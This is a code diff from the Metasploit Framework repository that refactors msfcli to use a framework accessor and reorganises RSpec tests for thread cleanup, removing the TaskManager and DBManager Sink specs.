@ -358,7 +389,7 @@ class Msfcli
|
||||||
|
|
||||||
# Create the NOP to use
|
# Create the NOP to use
|
||||||
if modules[:module].datastore['NOP']
|
if modules[:module].datastore['NOP']
|
||||||
modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP'])
|
modules[:nop] = framework.nops.create(modules[:module].datastore['NOP'])
|
||||||
if modules[:nop]
|
if modules[:nop]
|
||||||
modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
||||||
end
|
end
|
||||||
|
@ -454,7 +485,7 @@ class Msfcli
|
||||||
Msf::Ui::Console::Driver::DefaultPrompt,
|
Msf::Ui::Console::Driver::DefaultPrompt,
|
||||||
Msf::Ui::Console::Driver::DefaultPromptChar,
|
Msf::Ui::Console::Driver::DefaultPromptChar,
|
||||||
{
|
{
|
||||||
'Framework' => @framework,
|
'Framework' => framework,
|
||||||
# When I use msfcli, chances are I want speed, so ASCII art fanciness
|
# When I use msfcli, chances are I want speed, so ASCII art fanciness
|
||||||
# probably isn't much of a big deal for me.
|
# probably isn't much of a big deal for me.
|
||||||
'DisableBanner' => true
|
'DisableBanner' => true
|
||||||
|
@ -474,7 +505,7 @@ class Msfcli
|
||||||
con.run_single("exploit")
|
con.run_single("exploit")
|
||||||
|
|
||||||
# If we have sessions or jobs, keep running
|
# If we have sessions or jobs, keep running
|
||||||
if @framework.sessions.length > 0 or @framework.jobs.length > 0
|
if framework.sessions.length > 0 or framework.jobs.length > 0
|
||||||
con.run
|
con.run
|
||||||
else
|
else
|
||||||
con.run_single("quit")
|
con.run_single("quit")
|
||||||
|
@ -558,7 +589,7 @@ class Msfcli
|
||||||
end
|
end
|
||||||
|
|
||||||
# Process special var/val pairs...
|
# Process special var/val pairs...
|
||||||
Msf::Ui::Common.process_cli_arguments(@framework, @args[:params])
|
Msf::Ui::Common.process_cli_arguments(framework, @args[:params])
|
||||||
|
|
||||||
engage_mode(modules)
|
engage_mode(modules)
|
||||||
$stdout.puts
|
$stdout.puts
|
||||||
|
|
|
@ -4,24 +4,35 @@ require 'spec_helper'
|
||||||
require 'msf/core/framework'
|
require 'msf/core/framework'
|
||||||
|
|
||||||
describe Msf::Framework do
|
describe Msf::Framework do
|
||||||
|
context '#initialize' do
|
||||||
|
subject(:framework) {
|
||||||
|
described_class.new
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'creates no threads' do
|
||||||
|
expect {
|
||||||
|
framework
|
||||||
|
}.not_to change { Thread.list.count }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
describe "#version" do
|
describe "#version" do
|
||||||
CURRENT_VERSION = "4.10.1-dev"
|
CURRENT_VERSION = "4.10.1-dev"
|
||||||
|
|
||||||
subject do
|
subject(:framework) do
|
||||||
described_class.new
|
described_class.new
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should return the current version" do
|
it "should return the current version" do
|
||||||
subject.version.should == CURRENT_VERSION
|
framework.version.should == CURRENT_VERSION
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should return the Version constant" do
|
it "should return the Version constant" do
|
||||||
described_class.const_get(:Version).should == subject.version
|
described_class.const_get(:Version).should == framework.version
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should return the concatenation of Major.Minor.Point-Release" do
|
it "should return the concatenation of Major.Minor.Point-Release" do
|
||||||
major,minor,point,release = subject.version.split(/[.-]/)
|
major,minor,point,release = framework.version.split(/[.-]/)
|
||||||
major.to_i.should == described_class::Major
|
major.to_i.should == described_class::Major
|
||||||
minor.to_i.should == described_class::Minor
|
minor.to_i.should == described_class::Minor
|
||||||
point.to_i.should == described_class::Point
|
point.to_i.should == described_class::Point
|
||||||
|
@ -30,7 +41,7 @@ describe Msf::Framework do
|
||||||
|
|
||||||
skip "conform to SemVer 2.0 syntax: http://semver.org/" do
|
skip "conform to SemVer 2.0 syntax: http://semver.org/" do
|
||||||
it "should have constants that correspond to SemVer standards" do
|
it "should have constants that correspond to SemVer standards" do
|
||||||
major,minor,patch,label = subject.version.split(/[.-]/)
|
major,minor,patch,label = framework.version.split(/[.-]/)
|
||||||
major.to_i.should == described_class::VERSION::MAJOR
|
major.to_i.should == described_class::VERSION::MAJOR
|
||||||
minor.to_i.should == described_class::VERSION::MINOR
|
minor.to_i.should == described_class::VERSION::MINOR
|
||||||
point.to_i.should == described_class::VERSION::POINT
|
point.to_i.should == described_class::VERSION::POINT
|
||||||
|
|
|
@ -1,99 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'msf/core/task_manager'
|
|
||||||
|
|
||||||
describe Msf::TaskManager do
|
|
||||||
|
|
||||||
let(:framework) do
|
|
||||||
Msf::Framework.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:tm) do
|
|
||||||
Msf::TaskManager.new(framework)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should have attributes" do
|
|
||||||
tm.should respond_to("processing")
|
|
||||||
tm.should respond_to("queue")
|
|
||||||
tm.should respond_to("thread")
|
|
||||||
tm.should respond_to("framework")
|
|
||||||
tm.should respond_to("processing=")
|
|
||||||
tm.should respond_to("queue=")
|
|
||||||
tm.should respond_to("thread=")
|
|
||||||
tm.should respond_to("framework=")
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should initialize with an empty queue" do
|
|
||||||
tm.queue.length.should == 0
|
|
||||||
tm.backlog.should == 0
|
|
||||||
tm.backlog.should == tm.queue.length
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should add items to the queue and process them" do
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 1
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { })
|
|
||||||
tm.queue_task(t)
|
|
||||||
tm.backlog.should == 2
|
|
||||||
tm.start
|
|
||||||
t.wait
|
|
||||||
tm.backlog.should == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should add items to the queue and flush them" do
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 1
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 2
|
|
||||||
tm.flush
|
|
||||||
tm.backlog.should == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should start and stop" do
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { })
|
|
||||||
tm.queue_task(t)
|
|
||||||
tm.backlog.should == 1
|
|
||||||
tm.start
|
|
||||||
t.wait
|
|
||||||
tm.backlog.should == 0
|
|
||||||
tm.stop
|
|
||||||
1.upto 100 do |cnt|
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == cnt
|
|
||||||
end
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { })
|
|
||||||
tm.queue_task(t)
|
|
||||||
tm.start
|
|
||||||
t.wait
|
|
||||||
tm.backlog.should == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should handle task timeouts" do
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
|
|
||||||
t.timeout = 0.1
|
|
||||||
|
|
||||||
tm.start
|
|
||||||
tm.queue_task(t)
|
|
||||||
t.wait
|
|
||||||
|
|
||||||
t.status.should == :timeout
|
|
||||||
t.duration.should <= 5.0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should handle task exceptions" do
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
|
|
||||||
tm.start
|
|
||||||
tm.queue_task(t)
|
|
||||||
t.wait
|
|
||||||
t.status.should == :dropped
|
|
||||||
t.exception.class.should == ::NoMethodError
|
|
||||||
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { eval "'" })
|
|
||||||
tm.queue_task(t)
|
|
||||||
t.wait
|
|
||||||
t.status.should == :dropped
|
|
||||||
t.exception.should be_a ::SyntaxError
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -40,7 +40,6 @@ describe Msf::DBManager do
|
||||||
it_should_behave_like 'Msf::DBManager::Service'
|
it_should_behave_like 'Msf::DBManager::Service'
|
||||||
it_should_behave_like 'Msf::DBManager::Session'
|
it_should_behave_like 'Msf::DBManager::Session'
|
||||||
it_should_behave_like 'Msf::DBManager::SessionEvent'
|
it_should_behave_like 'Msf::DBManager::SessionEvent'
|
||||||
it_should_behave_like 'Msf::DBManager::Sink'
|
|
||||||
it_should_behave_like 'Msf::DBManager::Task'
|
it_should_behave_like 'Msf::DBManager::Task'
|
||||||
it_should_behave_like 'Msf::DBManager::Vuln'
|
it_should_behave_like 'Msf::DBManager::Vuln'
|
||||||
it_should_behave_like 'Msf::DBManager::VulnAttempt'
|
it_should_behave_like 'Msf::DBManager::VulnAttempt'
|
||||||
|
|
1096
spec/msfcli_spec.rb
1096
spec/msfcli_spec.rb
File diff suppressed because it is too large
Load Diff
|
@ -20,6 +20,8 @@ require 'rspec/rails/fixture_support'
|
||||||
require 'rspec/rails/matchers'
|
require 'rspec/rails/matchers'
|
||||||
require 'rspec/rails/mocks'
|
require 'rspec/rails/mocks'
|
||||||
|
|
||||||
|
require 'metasploit/framework/spec'
|
||||||
|
|
||||||
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
|
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
|
||||||
|
|
||||||
# Load the shared examples from the following engines
|
# Load the shared examples from the following engines
|
||||||
|
@ -57,3 +59,4 @@ RSpec.configure do |config|
|
||||||
end
|
end
|
||||||
|
|
||||||
Metasploit::Framework::Spec::Constants::Suite.configure!
|
Metasploit::Framework::Spec::Constants::Suite.configure!
|
||||||
|
Metasploit::Framework::Spec::Threads::Suite.configure!
|
||||||
|
|
|
@ -0,0 +1,24 @@
|
||||||
|
shared_context 'Msf::Framework#threads cleaner' do
|
||||||
|
after(:each) do |example|
|
||||||
|
unless framework.threads?
|
||||||
|
fail RuntimeError.new(
|
||||||
|
"framework.threads was never initialized. There are no threads to clean up. " \
|
||||||
|
"Remove `include_context Msf::Framework#threads cleaner` from context around " \
|
||||||
|
"'#{example.metadata.full_description}'"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# explicitly kill threads so that they don't exhaust connection pool
|
||||||
|
thread_manager = framework.threads
|
||||||
|
|
||||||
|
thread_manager.each do |thread|
|
||||||
|
thread.kill
|
||||||
|
# ensure killed thread is cleaned up by VM
|
||||||
|
thread.join
|
||||||
|
end
|
||||||
|
|
||||||
|
thread_manager.monitor.kill
|
||||||
|
# ensure killed thread is cleaned up by VM
|
||||||
|
thread_manager.monitor.join
|
||||||
|
end
|
||||||
|
end
|
|
@ -26,19 +26,4 @@ shared_context 'Msf::Simple::Framework' do
|
||||||
after(:each) do
|
after(:each) do
|
||||||
dummy_pathname.rmtree
|
dummy_pathname.rmtree
|
||||||
end
|
end
|
||||||
|
|
||||||
after(:each) do
|
|
||||||
# explicitly kill threads so that they don't exhaust connection pool
|
|
||||||
thread_manager = framework.threads
|
|
||||||
|
|
||||||
thread_manager.each do |thread|
|
|
||||||
thread.kill
|
|
||||||
# ensure killed thread is cleaned up by VM
|
|
||||||
thread.join
|
|
||||||
end
|
|
||||||
|
|
||||||
thread_manager.monitor.kill
|
|
||||||
# ensure killed thread is cleaned up by VM
|
|
||||||
thread_manager.monitor.join
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,7 +0,0 @@
|
||||||
shared_examples_for 'Msf::DBManager::Sink' do
|
|
||||||
it { is_expected.to respond_to :initialize_sink }
|
|
||||||
it { is_expected.to respond_to :queue }
|
|
||||||
it { is_expected.to respond_to :sink }
|
|
||||||
it { is_expected.to respond_to :sink= }
|
|
||||||
it { is_expected.to respond_to :sync }
|
|
||||||
end
|
|
Loading…
Reference in New Issue